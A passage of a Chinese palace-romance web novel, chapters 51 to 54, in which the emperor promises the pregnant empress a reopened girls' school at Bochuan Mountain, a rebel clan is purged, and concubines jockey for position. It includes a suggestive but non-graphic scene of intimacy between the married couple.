想起幼弟杨戎,听说皇后给汉王寻了另外得力的两个伴读,家里难道看不明白吗?幼弟伴读的位置已然岌岌可危,他们竟还贪心借着幼弟意图拉一把自己这个该论死罪的贵妃? 隔天坐上马车回京。 本来一天赶路就能到,偏生陛下舍不得有孕的皇后娘娘受半点累,走起来像郊外闲游,当夜更是扎营宿在野外。 贵妃隔着如星河般的帐灯往那锦绣扎堆处望一眼,脑海里所思所想全是当年和自己青梅竹马的那个男人。 他是那么好的一个人,虽不如陇右大多数男子雄伟,瘦弱些,却内里锦绣如云。 杨家是摊死水,死水里突然跃出他那一尾鲜活的鱼。 他借读在杨家家学,自己偶一回听见他在亭台上与诸位兄弟们阔阔谈论陛下新政,意气风发的模样至今难以忘却。 他是有才之人,若不然家中不会同意他们二人定亲。 可惜天不假命,他天生心疾,也是秋日的一场小雨,竟然夺去了他的性命。 她那时哭得昏厥,决意要做他的未亡人,尝过禁果还有了爱情的结晶,往后日子养着孩子怀念他也是一种美好。 可惜他的母亲为了另一个儿子的前程,收了杨家的银子,不肯收她进门。 想到这些,吭吭咳嗽几下,浓黑的夜有兵马在动,听了半晌,原是皇后娘娘睡不着,跟陛下要在月下漫步。 “趁着这会儿得空,你去外命妇那里寻我母亲。” 贵妃吩咐身侧的心腹:“告诉他们权当我快死了,莫再盘算让汉王从中施以援手,仔细两边都得不着好。” 这话无异于是在跟家里一刀两断。 不管话递过去父亲如何怒自己不争气,母亲如何可怜她往后的日子,搂着被子蜷缩起来。 一夜翻来覆去没睡没几个时辰,天大亮,行营启程。 大上晌停歇,贤贵妃的马车来了一位意料之外的客人。 董贵人语气轻快:“贵妃娘娘听说了吗?” 贤贵妃不感兴趣地摇头。 “皇后娘娘打算开办女学!”【你现在阅读的是 】 50-57 第51章 朕打下的江山,分一半给…… 夜宿野外, 崔雪朝惯例要走够今日的万步。 驻扎选址临近处有一清溪,几番观望,周遭地势颇为眼熟:“这是何处?” 袁望道:“走一小段路, 就是博川山。” 崔雪朝心下一动, 见他目光温柔,不觉笑了:“是刻意选在这里的?” 袁望说是。 有宫人侍卫在前开路, 硕大的宫灯照耀地方圆几里亮如白昼,于是她抚上他的臂膀,沿着博川山口一阶梯一阶梯慢慢地向上走。 这段山路很寂静,两人都未说话, 似乎明白旧事不可言说的沉重, 留给崔雪朝的始终是他沉稳的侧脸。 “这台阶有三百八十三个。” 某个瞬间, 崔雪朝觉得这样沉默的帝王,有种被自己排斥在外的孤独, 于是有些话自然而然地吐露出来:“起初我与云霞都是靠家里下人抬小软轿上山的。” 袁望看她一眼,似乎诧异于她主动提及往事, 不过很快跟上她的谈兴:“女儿家身子柔弱, 走多了容易腿粗。” 崔雪朝:“” 他偶然绽现的不解风情令人语塞,但换个角度想, 这样的男人少有花言巧语, 未经过旁人调教, 是肚留于她的一张白纸。 于是继续:“有一回让辜家大人知晓,他给我们讲道理,说既是为师,便该有表率。三个女弟子走路上山,下山时还会捡柴火野果,我和云霞两手空空, 也就不好意思再坐软轿。” 辜家阿兄陪她们走了一遭,见两个姑娘两腿颤颤,满头大汗,很是心疼,说两个手无缚鸡之力的姑娘家何必吃苦头,在家坐着绣绣花弹弹琴,焚香作画岂不美哉? 云霞当即学其中一个女弟子的坐姿,夸擦把腿盘起,手指着亲兄长的嘴脸:就许你们男人在外云游四方,偏不许女子走动?那绣花弹琴真若是至上的大利,只怕全都让你们男人抢走,哪有姑娘家的份? 辜家阿兄没得好脸,讪讪地领着随从下山了。 这是很趣味的往事开端,唇边的笑犹在,人已经站在山顶。 崔雪朝本以为此地经年荒芜,所见应是一片颓废,然而举目四望,门窗整洁干净,烛火通明,就连大门口的两个石狮子也擦拭得发光。 她有一刹那的恍惚,眼前浮现旧时某一夜落雨,苦艾的缭绕与山外的云雾在天不知处汇合。她和云霞夜宿博川,另一位教授画工的女师在为门外潺潺雨景留痕。 就在一片方外寂静间,突有隆盛的钟自京都方向绵延至整个王朝。 那是丧钟在响,惊动了深林鸟兽,振翅音掀起山河变故的前奏,把控前朝政多年的太后溘然长逝。 天光乍破,各家派人来博川。 辜家阿兄罕见的披坚执锐,他说太后过世,太子于东宫兵变,京都不安全,博川百十护卫,是避难之所。 那时她们都以为博川是避难之所。 如今在看,博川只是一方经不住风雨的短暂乐土。 “那晚无意被雨拦在博川山的女画师是前朝仁王的女儿丹溪郡主。”崔雪朝指了指方才他们上山的方向,隐痛道:“她被东宫卫押至山下,只比她双亲多活了三个时辰。” 而那副她亲手绘制的秋山雨图,早已随其主零落尘泥。 袁望将她揽到怀中,用自己的体温一点点暖热她因往事而泛起的酸楚。 权谋争斗从古来多是男人的野望,女眷是附庸,是裙带,是可忽略的拿捏。 他不知如何安慰她的难过,因为他懂前朝末帝为何要赶尽杀绝,就像他从河东一步步走入这座王都时,必然要覆灭前朝血脉。 幸而她的伤感是一时的,“我好像从来没有跟你说过谢谢。” 袁望问她为何要谢。 “当年各地起兵,只你有大义,一面分兵北上驱除胡虏,直到胡人不再为祸汉人,才驱兵南下争夺天下。” 她仰着头看向自己的眼眸又重回在锦绣宫时提及自己时的敬仰崇拜赞叹!袁望后脊泛起一阵阵连绵不休的麻与爽感,回来了,天知道自己等她这种眼神等得有多辛苦! 虽然当初自己先打胡人,很大一部分私心是为了纳边军为麾下,但诚如她所言,大义就是大义,做不得假! “打这江山,好些人说我是狼子野心,要是早些年认识你,我也不必为那些中伤之语而伤心!” 他是背负过许多的男人,自然有很多苦楚无法言说。 崔雪朝安慰地贴近他的脖颈,“今日来博川,我有些难过,更多是庆幸。好像前半生颠簸流离有了福报,嫁给你之后,我过得很幸福。” 一股油然而生的骄傲滋生于胸间,伟丈夫的伟都是被夸奖出来的,袁望不用照镜子都知道自己嘴角笑得很大,但喜悦之余,大掌落在她柔软的腰间,“若是能换你过往少些颠簸,换你承欢双亲膝下,换你余生和乐康健,不遇到我也没什么。” 崔雪朝愣了下,被他的话感动到鼻头发酸,怕他发觉自己的异样,忍不住往他怀里钻,一个劲说突然好冷呀。 冷就赶快下山吧。 可他说去书院內走走,于是进大门,骤然满眼惊艳,昔年空置的书格重新装满包着书袋的书卷,笔墨纸砚,书台琴架,样样俱全。 她很惊讶:“旧地重游,何必折腾这么多东西?山上山下一趟趟的,宫人们也很辛苦。” “给她们额外赏过了。” 做皇帝的收缴了高家的宝库后,手头很富裕,挥金如土地每个宫人多赏了一个月的份例,这是收买人心,宫人们手上拿了实在东西,对皇后会更多感激。 “你觉得这些东西如何?” 崔雪朝:“又没人来这里读书” 她的嗔言在陛下意味深长的目光中逐渐停下,某个念头浮现在脑海中:“这里要重开女学吗?” 乾元帝自得起来:“怎么?皇后不准朕在这里开一座女学堂吗?” 她惊喜得低呼起来,原地蹦了好几下,又在万姑姑和阿屏喊声中不得不坐在软榻上,“女学?是我旧时开的那种女学堂吗?” 袁望按捺住被她蹦跶起来的紧张,挥退宫人,单膝跪在脚踏板上,一边揉着她乱动的腿,边道:“天下士人读书有太学,为男女大防,便有太学‘不准女子擅入’的禁令。打今儿起,你和我开一条‘女子上书房读书’的先河,后世流传,史书记载,后人看了,必然敬佩赞叹你我之骁勇!” 崔雪朝看着他清亮的眼眸,“读书为明理更为功名伟业,光读书怕是不行。” 他是很有成算的人,既然要给女子和男子一样公平读书的机会,便有扛起一切非议的准备。 “既然读了书就要报销朝廷,怎么?当我这女学是办着哄皇后一笑的摆设吗?” 她又说:“要是臣民不同意呢?万一他们怪到坤宁宫,说是我给陛下吹枕头风祸乱朝政呢?” 独断朝纲的陛下很是不平,“你既嫁给我,我的东西就是你的东西。我的江山有一半是你的,只是开办女学就祸乱朝纲?信不信将来我把这大好河山传到咱们女儿手中!” 张狂的他眉眼都比平常俊上三分,那一挥手的气势真是豪迈得招惹人喜欢! 崔雪朝抬起臂膀,索要他温柔的拥抱。 袁望却道不急,先把她爬过山路的两条腿揉好,这才好整以暇地站直。 一个抱如何能够? 至少得是香吻数枚。如果非要为香吻设定一个期限,先从一盏茶起步吧。 啧啧的水声顺着不严实的门缝传到外边,万姑姑生怕陛下分寸过深伤着娘娘龙胎,像个卡痰的八旬老汉,嗯哼嗯哼地整山的侍卫都困惑地望着她。 万姑姑:“” 硬着头皮:“嗯哼!” 第52章 你是不是不相信我的手艺…… “娘娘, 陛下情之所至,有时会有鲁莽之心。但您贵为” 万姑姑想说‘贵为一国之母’,瞧眼皇后娘娘像是染了醉意的酡红面颊以及那润泽莹湿的红唇, 深感一国之母并不能克制住娘娘的纵容, 只好斟酌换了言辞:“您是一位母亲,眼下胎儿不足三月, 尚不稳健,还是小心些为好!” 崔雪朝应了一声,目光还望着窗外正不知与侍卫统领吩咐什么的高大身影。 她持着稳重的神情,实则心里像是装了一只才从山涧跃出的小小鹿, 蹦蹦的, 不知为何很澎湃。 片刻前的画面在脑海中一闪而过, 罅隙间是他触感分明的臂膀,孔武结实的胸肌, 他像个农汉,丛生的汗像是火架上刷了好几层油、又上了浓厚的蜜的 崔雪朝情不自禁地咽了下唾沫。 她有点想吃烤乳猪了! “娘娘饿了吗?” 阿屏隐约听到一声吞口水的声音, 看向突然走到门边的娘娘。 “嗯。” 崔雪朝心不在焉地点下头。 阿屏:“娘娘有什么想吃的吗?” 已是深夜, 不便下山,宫人与内监们忙进忙出的, “小厨房温着鸡汤, 娘娘要喝吗?” “可以。” 阿屏刚走, 院子里的男人这时折身往屋里走,一转身瞧见皇后等在门边的身影,才谈完政事的冷峻瞬间换成温和的笑容。 恰是这风云一变化,让崔雪朝稍稍平息下去的焦渴又有掀起波澜的趋势。 袁望呢,朝着妻子所在款步而来。 走一步,犹记得当时要让她做自己的妃嫔, 她不乐意给好脸,也不肯去门口目送自己。当然那不怪她,是他那时不懂相处之道胁迫起来把她吓坏了。 现在自己终于活出个人样,身后有了缠绵的爱眸在望,想象将来孩子诞生,她抱着孩子等在宫门,目送自己去上朝,或许自己回头时,她会举起孩子软软的手臂对着孩子说‘跟你父亲摇摇小手’。 再走两步,从依依的目光中看出点狂热的感觉。 加快几步,到了她跟前,确认自己并没有看错,她那眼神直勾勾的,跟母狼野外亮着两大眼睛灯笼,绿森森的,透着股一口咬死什么东西的饥渴! “是饿了吗?” 袁望细语问她:“你这么瞧着我,是我方才冒失惹你生气了?” 崔雪朝说没有,急喘两口气。 山里不会有什么妖狐吧? “妖狐?”皇帝一身阳刚气,不畏惧鬼神之说:“朕在,鬼魅绝不敢来。” 那为何她看着他,总生出一丝冲动,很想招惹他来冒犯自己? 这是逾矩的,不对的,不符合她一贯自矜自重的形象! 别看他!不看他就行。 两人相携进到屋中,没一会儿阿屏端来鸡汤。 崔雪朝食不知味地喝了一碗。 袁望注意到她食兴不佳,当她害口,促身去把高架上的果仁盘子端过来:“有想吃的吗?” 她摇摇头,飞快地看眼他的脸。 怪稀罕的,今夜看他怎么这么合心意,眉毛缝的一点不驯的杂丝都被自己看出诡异的可爱气来。 一个大男人,为何不好好打理自己的眉毛? 她招手唤阿屏去拿小胡鬓铰子,兴冲冲地往他身边挤:“我帮你修修眉毛,再修修鬓角!” 那铰子不过手指一点长,被她白皙的手指拿捏,开合几下的锋锐哪里有打仗时刀剑的惊险?但袁望看着她一点点逼近,心忍不住悬了悬:“夜夜深了,你还不困吗?” 崔雪朝:“不困。” 袁望:“你是皇后,哪里用得着你来做这些零碎的小事。” 崔雪朝:“你是不是不相信我的手艺?” “那倒不是。”喉结滚动下,生生逼迫自己扎在榻沿前不敢动,听到哗嚓哗嚓,闭着眼仿佛天地崩裂而自己无能为力。 半晌后,还是什么动静都没有。 他忍不住挑开眼缝,突然感觉唇上一软。 空荡荡的屋内不知何时只有他们两人。 害怕皇后给自己脸上剪个豁子的担忧没了,满心满眼全都是她单手托在自己下颌,去迎合她、她的亲吻还有她娇滴滴的撒娇。 她说:万姑姑方才说我太过纵容你了。 一边说,趋近他,裙衫如云堆叠在他膝头,流泻而下遮住他的龙纹靴,他适时地扶住她柔弱的腰肢,呼吸濒紧,一室明光不及她的璀璨,大腿一沉,她坐在了他的怀里。 他少有的慌乱,舔了舔唇:“没满三个月,宫人也是为了咱们的孩子好” 这话突然点燃崔雪朝憋了好久的闷火,她很委屈,似乎从她有了孕之后,什么劝诫都是为了孩子,“你和那些宫人怎么一个论调,心里眼里只剩下孩子!”全然忘了肚子里的孩子是她自己如何辛劳得来的。 又觉得要不是他蓄意勾引,自己怎么会主动盘在他怀里?恶狠狠地捶了他胸口几拳,“都怪你!” “怪我,怪我!” 眼见她红了眼眶,袁望急忙认错,虽然他一时昏头昏脑地不知自己错在何处,心肝被她要落不落的一点泪快搅碎了。 原来做耕耘的男人等到收获的过程是如此磨人!活色生香在前,要费多大的力气才能忍住不伸龙爪? 其实他也很渴望的。 “你刚才一亲我,我就这样了。” 挺挺腰给她证明自己所言非虚。 金尊玉贵的皇后娘娘知晓不是只有自己像个饿肚子的狐媚子,心里好受几分,“我也不知道自己怎么了。” 她很委屈,亲了他下颌一下,声音软得不像话,“你抱抱我吧。” 算算日子,快满两月,但他那玩意驴样,这时候真拿不出手,总不能一刀子切去一半吧。 憋得额角直抽,怀里的皇后窸窸窣窣还不老实,“再乱动嗯哼!”他猛地倒吸一口凉气。 皇后神情一如平常处置宫务的清冷高贵,唯有轻咬下唇的动作泄露她的难为情。 没传宫人,袁望老实地提起外间的黄铜梁壶,掺好温热的水,无言地清洗干净她的手。 衣裳没法看了,一股脑拆解甩到外间,崔雪朝也顾不得在宫人面前丢脸,到被窝里当缩头乌龟。 不知他在外间忙什么,依稀听到童公公压得很低的说话声,隔了片刻,听到万姑姑提水,又感觉过了好久,自己都快睡着了,才听到细碎的脚步声越来越近。 她躺在帐中,偏头见烛光灭了,帐帘闪进熟悉的身影,含糊问怎么这么久。 听见他低着音说有点事,没放在心上。 过会儿床脚锦被有凉意钻了进来,崔雪朝以为他稀里糊涂没分清头尾,正要给他提示,突然一丝凉感顺着里衣宽大的缝隙贴在她大腿上。 她吓好大一跳,“你干什么?” 黑暗中分辨出他藏在被下起伏的身形,他的手带着她的,让她亲自去感受。 指长的玉,轮廓纹路一点点在她脑海中浮现,是他平日把扇的玉坠,她记得当日自己调侃他一把年纪学民间浮浪公子做派,羞不羞。 后来,只记得那玉当啷落在地上的脆响。 深夜的山雾浓重得几乎五步之内无法看清人形,洒扫干净的书院后厢房传来声响许久,三更天时,门开了,陛下一身干练中单端着一个水盆轻手轻脚地出来,左右守夜的一看急忙上去接了主子手里的重物。 万姑姑欲言又止,乾元帝瞧见了没搭理,他又没做什么出格的,服侍自己的妻子义不容辞,凭是谁来敢挑他的理? 他愣头青,今晚童冉加急促摸来的彤书才是关键,若没有那般细致的悦女法子,身为天子又如何,还不是只能委屈皇后捂着被子憋着? “赏。” 童公公低眉顺眼地恭送陛下进屋。 第53章 谁要老皇帝的宠爱,我争…… 夜晚娘娘好娇柔, 天亮之后,阿屏小脸通红地伺候娘娘沐浴更衣,那腰上的痕迹、胸口的深色、哦哟, 陛下昨晚连夜学的花样吗?竟然还在娘娘大腿内侧啃了两口! 其余不可说之处不可说, 揉上一点点化瘀的药膏,如芙蓉般的娘娘真是明媚照耀, 光彩夺目! “娘娘,小殿下可好?”阿屏问。 崔雪朝睨她一下,说一切无碍。 那玉坠子不过自己中指长,到不得深处, 却很解馋。之后的安慰才是正宴, 是的, 从身到心都很满足。 起初她还有些不自在,绕过屏风瞧见天光照耀下窗前男人卓绝的身形, 又觉得一切理所应当! 不过初初一对视,还是羞怯地避开一瞬, “用膳吧。” 晨间山林空气清爽, 一人一碗简单的阳春面,用过歇了一盏茶, 沿着山路蜿蜒而下。 停在山脚下, 溯沿向上望, 这里的一切焕发新的面貌,这时侍卫领着一个弓腰的妇人过来,“皇上万福金安,皇后娘娘凤仪康健。” 崔雪朝看着她抬起的脸庞,有些印象:“你是当年女学的学生?” 妇人拘谨却眼神热烈地看着皇后娘娘:“女师还记得小人?” “自然记得。” 联想到昨夜陛下对侍卫吩咐的场景,崔雪朝心里感激, 问:“你如今还在户部的外缺上当差吗?” 妇人摇头:“回娘娘话,年景不似从前,小人成婚之后要伺候婆家事务,再不好频频混在外头。” 这是桩很遗憾的事情。 但成婚养子未尝不是她人生的另一种圆满,瞧她面容圆润,想来日子过得下去。 不过见到旧日学生,心里还是很欢喜的。 又问了几句,得知妇人家中有个小女儿十岁了,“再过些时候博川女学会重开山门,你家女儿若是想学门手艺,就送来吧。” 妇人感激地给陛下娘娘磕头谢恩。 再回到驻扎之地,已然是天光大亮。 出发前董贵人来了,崔雪朝唤她同乘一车。 辘轳车马走动起来,皇后的车驾如一座小屋,人坐在上头根本察觉不到晃动,董贵人享受片刻,“宫里也好,只是没有在外头这么自在。” 生活在明园里的董贵人这两月过得真可谓洒脱自在。 她位分不高不低,偶尔配合陛下去陪一个空凳子吃好些平常自己吃不到的膳食,空暇时照例给皇后请安,请安一个月也就六天,其他时候全凭自己心意。 今个放风筝,明个儿爬爬山赏日落,后日里有雨,坐一小乌篷舟,泛舟湖塘钻进深处挖藕钓鱼,好不快活! 京城内宫大,但规矩也多。 伺候的宫人內监加上站岗巡逻的侍卫,她不敢恣意,怕传到外边给陛下和娘娘惹麻烦,牵连娘娘挨‘不会好好治理后宫‘的骂。 她的感慨让崔雪朝心下一动,对于董贵人她是信任的,也知晓她心肠不坏,便提及要开办女学的事情。 董贵人果然眼睛一亮,“在哪儿开?什么时候开?嫔妾可否效劳?” 如此云云,直到晌午稍歇,距离京城只有十来里路,崔雪朝打起了盹儿,董贵人临下车问过皇后意思,直奔贤贵妃的车驾去报信。 皇后娘娘要开办女学! 具体开设的课程需要慢慢斟酌,贤贵妃出身儒家,知书达理必然能有不少点子! 这空无寂寥的后宫终于变得有趣了! 皇后娘娘歇着了,乾元帝便只好一人独享午膳。 吃什么也不记得,糊弄了肚子,抽空把汉王写好的功课检查过,恰时快马送来急信,阅过之后,朗声大笑。 快马来时绑着红绸,一路喊着大捷,自然引人瞩目。 没过多久喜信传开。 淮水一线跟朝廷对峙的叛军投降了! “江淮水师总兵不愧是朕帐下猛将!”乾元帝把捷报传给诸位大臣同看,同时长叹一声:“高卿曾大开城门迎接义军,当政第一年朕南下时任他全权监制天下政务,无人辖管。今夏,朕念在他年事已高的份上,准他告老还乡。今日才知,自兴隆元年起高家便京西铁矿纳为私产运至外海冶炼兵器,他对朕难道一分恩情都不记吗?” 原本听闻高老投降未死,意图求陛下念在旧日功劳,以及让天下人知晓天恩浩荡的某些人瞬间打消了心思。 高家原来早有不臣之心,能在陛下眼皮底下私自开挖铁矿,由此可知高家的叛是抄家灭族的叛。 这时候求情无异于是主动伸长脖子说自己一家老小都不愿意活着了。 亲近的大臣们自然要进言,让陛下抒怀。 御前很是哄闹一阵才算平静下来。 当下最紧要的是押解首犯及其叛兵附庸进京受审,乾元帝金口一开便是十好几道御令发往京城,着三司法迅速展开工作,同时派选合适的人选去顶替南康腾出来的位置。 自南康起变,望京门阀已经遭过一次大洗礼。 而南康投降落定,对于高家的处置自然要定,夷九族是毋庸置疑的,乾元帝示意锦职司的人借叛兵一事,拔起萝卜带着泥土,最好一举将前朝留下的蠹虫灭了十之八九。 锦职司的人如乌云般烈马持鞭卷向望京。 很快御驾宣布继续启程。 这一走再没停歇,回到宫内时恰好晚霞满天。 一道尖锐的哭喊声打破后宫众人赏景的步伐,正扭送罪人的内廷司大监瞧着惊动了皇后娘娘,忙打手势让下头人堵上嘴,一溜烟碎步过来磕头:“给皇后娘娘请安,小人奉旨押送高罪人去大理寺问话,一时没办好差让娘娘受惊了。” 崔雪朝反应过来他口中的‘高某人’是谁,只说继续去办差吧。 那撕心裂肺的呜呜声很快消失在宫道上,贤贵妃心底有股唇亡齿寒的畏惧。 才过去两个月,高二姑娘从天上坠到泥土里,想想做秀女时,她仗着家世对那些出身低微的秀女瞧不上眼,现在这幅模样也很活该。董贵人收回目光。 等到第二日去坤宁宫请安,路上遇上了赵嫔。 两月不见,赵嫔似乎又瘦了,董贵人关心地问:“你在宫里没好好吃饭吗?” 有心之人听什么都觉得不对味。 不慎扭脚无法随驾去明园避暑的赵嫔觉得董贵人是在阴阳自己,暗地翻个白眼。 她昨日已经问清楚了,陛下除了传董贵人吃了好几次饭,不曾让她御幸,自己并不输董贵人太多。 看眼对方又圆了一圈的腰身,赵嫔妖里妖气地扭腰走着:“饭有什么好吃的?眼下皇后娘娘有孕在身不便伺候陛下,正是我等嫔妾效劳的时候。我这两月特意为陛下新学了几支舞,自然不能太胖。” 胖? 董贵人觉得一阵秋风刮刮就能把赵嫔卷上天,赵嫔跟瘦不沾边,她都快形销骨立,成了一片薄薄的纸人。 陛下钟爱皇后娘娘,皇后娘娘是那种骨肉匀亭的类型,夏日在明园时,娘娘穿襦裙时,董贵人曾不小心故意地瞥见皇后娘娘的一对大白兔,某一回还无意瞥见一连串嘬出来的红梅印! 赵嫔野心勃勃,董贵人很心疼她的徒劳无功,“你就那么想得到陛下的宠爱吗?” 赵嫔说自然! 一脚跨进坤宁宫,瞧见上座威严看向自己的陛下,很是心抖。 说来怪无奈的,陛下三十四,皇后娘娘二十余四,作配起来尚不至于悬殊。 可自己只有十五岁,春天刚及笄入了选秀的名册。 她娘哭天抹泪,一边抽她爹鞋底板儿怨他半辈子不上进,头一回上进从外地调到京城,两眼还没看清形势呢,先把闺女葬出去了! 又抱着自己哭,说陛下那把年纪给自家闺女当爹都行。 这话吓得赵嫔他爹忙堵夫人嘴,叮嘱可不敢乱说! 她家从前不富裕,他爹是个司事,一月两半俸禄,加上年节下公署的炭敬米敬等等,合计一年也就十两。 十两银子养活一家五口嚼用,两个男丁读书,还得分出些帮扶兄弟房,孝顺爹娘,还得让她爹打点官场。 赵嫔分神回顾一番家里的往事,很快打起精神。 她眼睛闪着光,一溜目光在坤宁宫金黄璀璨的装点打转。 再看向陛下的目光又一次灼热起来! 董贵人太天真了,谁要老皇帝的宠爱,我争的是琳琅翡翠! 第54章 男人身子骨上佳 赵嫔进殿的瞬间便吸引了皇后的注意力, 只因两个月不见,赵嫔几乎瘦脱相了! 她的震惊太过明显,身侧的乾元帝顺着她视线瞥去一眼, 紧接着也拧起眉头, “赵嫔,宫人苛待你的饮食了?” 赵嫔大喜, 迈着新学的先秦淑女步走近回话:“回陛下,宫人不曾苛待嫔妾的饮食,只是嫔妾无福未能随陛下去明园伺候,留在宫里这两月精心准备了好几支舞, 一忙起来就瘦了些。” 上一次主动献舞的安妃昨日刚下大狱, 乾元帝念在她主动检举高家父子有功留话让大理寺和刑部的人不必用刑, 至于论罪最后的结局,免除一死已然是开大恩。就当日她谋算在大婚之夜离间帝后, 暗中唆使心腹毒害汉王马匹,这两件事的过足矣让她丧命。 乾元帝对这个歌舞无太多兴趣, 想的是皇后有孕辛苦, 赏看歌舞是解闷,说了句赵嫔有心了, 又补了一句:“该吃还是要吃的, 你瘦成这样, 外人还以为朕的后宫养不起呢。” 中秋在即,赵嫔献舞也有正儿八经的场合。 她灿烂一笑,退回座位上坐定。 归京后的第一日请安过,乾元帝说了几句场面话,摆驾去了前朝。恭送陛下离开,崔雪朝坐上主位, 殿內妃嫔全是那时采选入宫封赏的,眼下坐在众人最前的便是贤贵妃。 然而贤贵妃板着脸,清秀的五官今日糊了厚厚的一层珍珠玉容膏,颊上红红两团胭脂生吊几分红润,让人瞧着很不适应。 昨夜夫妻两个临睡前看了内宫的账册,比之前朝,大乾后宫开销算是俭省,几个妃嫔的宫中用度都在规矩范畴內,一盘算,主子这么少,养那么多宫人内监白费银子。 “陛下有意开恩放一批宫女出宫。” 此话一出,众人看向皇后娘娘。 崔雪朝便把前由说了,众人了解之后无甚二话,又听皇后娘娘道:“满二十五岁以上的宫女每人离宫时封上一年的荣退钱,如有不想走的回禀上个名录来,这事儿就” 眼眸转向贤贵妃:“你来负责?” 贤贵妃一愣,似乎不明白这种送人情的好差事皇后娘娘愿意交到自己手上,不过很快起身应下。 等回到千熙宫,不一会儿内廷司的分管监就抱着厚厚一骡子名册,说是奉皇后娘娘之命来给贵妃送东西。 贤贵妃示意宫人收好,先去内室洗干净脸上的妆容,清爽地坐到榻上翻起名录。 天子一句放人离宫,承办事务的人却不能糊里糊涂,怎么也得有个章程。 贤贵妃很快梳理出流程,各宫符合放出宫条件的宫人姓名、在哪儿当差、祖籍何处、荣退金多少等等,光是汇总这些就花了两天时间。 对于贤贵妃而言,这差事来得正好,她在家中学过掌家的本事,做起这些来很有条理。正好她得罪了陛下,侥幸活着,又不用养着不争气的汉王,与其消磨度日,还不如写写算算来得有意思。 因皇后娘娘有孕在身,回宫之后延续了在明园是后妃请安的规矩,逢六九之期辰时到坤宁宫请安,其余日子,各人关起门来过自己的日子。 因而贤贵妃两日后带着汇总好的总账去坤宁宫回禀。 进门时恰好汉王今日书房文先生请了病假,他和三个侍读小公子在坤宁宫的玲琅亭背书。 纱帘随秋风舞动,贤贵妃沿着抄手游廊走着,瞧见自己的幼弟坐在垫子上就跟腚下扎了刺,左扭扭右晃晃,看书不过两眼就撩手要去摸一边蹲着的一只胖胖的黄猫。 贤贵妃再看另外两位伴读。 其中一个长相秀气的小公子,瞧其个头是三个伴读中最小的,应该是大理寺主官家的董小公子,人家眼神扎在书本上那叫一个专注,一边默默诵读小手提着笔还飞快地在纸上写着什么。 再看汉王。 贤贵妃稀奇地吊起眉峰,什么时候汉王的眼睛不盯着旁边树上的鸟而是小眉头拧着一副费劲但认真的学习状态中? 莫不是皇后娘娘今日先给他抽了手心板子教训过? 想法一出,骤闻一声啪的巨响,贤贵妃赫一跳,定睛一看,原是杨戎不老实,挨了旁边盯着他们读书的宫人一个闷抽! 那宫人打了人,神情平平,丝毫不畏惧杨戎这位国公家小公子的贵重身份,“杨侍读,这是您第二回走神了。再有一次,《论语三十》您就得抄百遍才能回住处睡觉。” 贤贵妃觉得自己弟弟丢脸,脚步加快,等过了玲琅亭,同引路的宫人打听:“汉王在皇后娘娘面前可还懂事?” 宫人道:“皇后娘娘说汉王殿下年纪虽小,却已经能听进去道理。汉王是贪玩的孩子性情,皇后娘娘不拘着汉王的天性,与汉王许下承诺,只要在规定时间內完成先生的功课,就能答应汉王提出来的合理要求。” 贤贵妃心下不屑,“无规矩不成方圆,小孩子就是风筝,不时刻绷着紧着,一眨眼就能飞上天去。汉王小人精样,不时常敲打,指不定什么时候就长歪了。” 不过这话她懒得跟皇后说,存着看笑话的心思,且看汉王长大之后如何后悔没长在自己名下吧。 很快进到正殿。 贤贵妃恭敬地请安之后,示意人把自己这两日整理的名册递上去。 崔雪朝道一声辛苦,示意她坐,吩咐人上茶。 殿內安静如许,贤贵妃很自信,并不紧张,浅啜一口清茶润润嗓子,等皇后看完。 一刻钟后,总册本阖上。 崔雪朝:“听宫人回禀,说贵妃这两日为办差一直留在千熙堂不曾出宫走动?” 贤贵妃认为这是在说自己的辛苦,“嫔妾不敢辜负陛下和娘娘的信任,故而一拿到内廷司送来的名册便连夜开始整理通算。” 崔雪朝:“辛苦贵妃,这账册制得很全,条理分明 ,未有不妥。” 轻抬手,万姑姑上前把一枚对牌和令钥放到贤贵妃近处,“娘娘,这是出宫城的对牌和领用银子的令钥。” “疏放宫女一事就交由你统筹吧。” 贤贵妃这回的惊讶更多。 整理名录只是流程上不起眼的一环,正儿八经的派放银子遣送文书等事务代表的是后宫之权。 皇后娘娘神情平静,并不在乎她的愣神,“董贵人应该跟你提过吧,陛下和本宫有意开办女学。” 贤贵妃说是。 “这差事让你办,你若办的好,女学的副院使之职便是你的。你若办不好哼!”. 贤贵妃往外走时又一次路过玲琅亭,方才还苦读的几人正围着好几只猫叽叽喳喳说着什么,观其神情放松,就连幼弟也在。 “他们功课都完成了吗?” 收拾书案离开的内监道:“回贵妃娘娘的话,汉王殿下与三位侍读公子的默背全都过了。” 贤贵妃:“全都过了?汉杨伴读也背完了?” 宫人:“背全了。杨侍读起初有些生疏,第一次检阅没过加背了一盏茶就过了。汉王殿下与另外两个伴读公子第一回就背下了。” 《论语三十》,贤贵妃记得这篇背下来并不轻松呢。 心下五味杂陈,难道她一直以来都是错的吗? 可杨家乃当时名儒之家,百年大族族学怎么会出错呢? 而与皇后用午膳时听说贤贵妃承办放宫女出宫一事,乾元帝觉得很妥,“烦琐小事让她办,若不然白吃咱们夫妻两个的嚼用。” 崔雪朝无奈一笑。 恰时膳食上桌,今日有一例蹄膀汤,并不肥腻,汤白葱绿,闻起来很香,很得她的胃口,连吃两碗,看得一旁的秦姑姑很开怀。 “娘娘怀的是凤子龙孙,就是和寻常百姓家的妇人不一样!瞧您吃什么都香,将来瓜熟落蒂必然是个康健的娃娃!” 乾元帝很是高兴,“朕跟太医局的人问过,虽没有切实的医书依据,但民间有个说法,说是男人身子骨上佳,妇人怀孩子时九成概率会少些辛苦。” 这话自夸的嫌疑十足十,但当着一屋子的宫人不好不给他面子,崔雪朝笑呵呵地道了一声谢。 心里也在想,那时怀疑他旧伤落下祸根未必能让自己有孕,二人很悬心,为此一段时间修心养性,自己练鞭子强身健体,他呢不饮酒不吃乱七八糟的丹丸,也不熬夜通宵批折子,起居规律,吸纳天地灵气。 或许民间说法也很有道理。 用过膳,绕着坤宁宫湖塘散步,当家做主的那个又开始跟皇后讲今日前朝遇到的事儿。 旁的惹他苦闷的,不宜在皇后孕期说,以免她牵挂。 先说好消息。 “二叔在越州办差很得力,这一批官窑的青瓷皙透无比,一开炉就惹得四方竞价,最后卖给了南边的暹罗,足足二十万两银子的大订单呐!” 崔雪朝反而提醒:“订单金额大,盈润到了国库,是好事。这也并非是二叔一人的功劳,最底层的泥工,烧窑把控火候的师傅,这些人的共襄也该赏。” 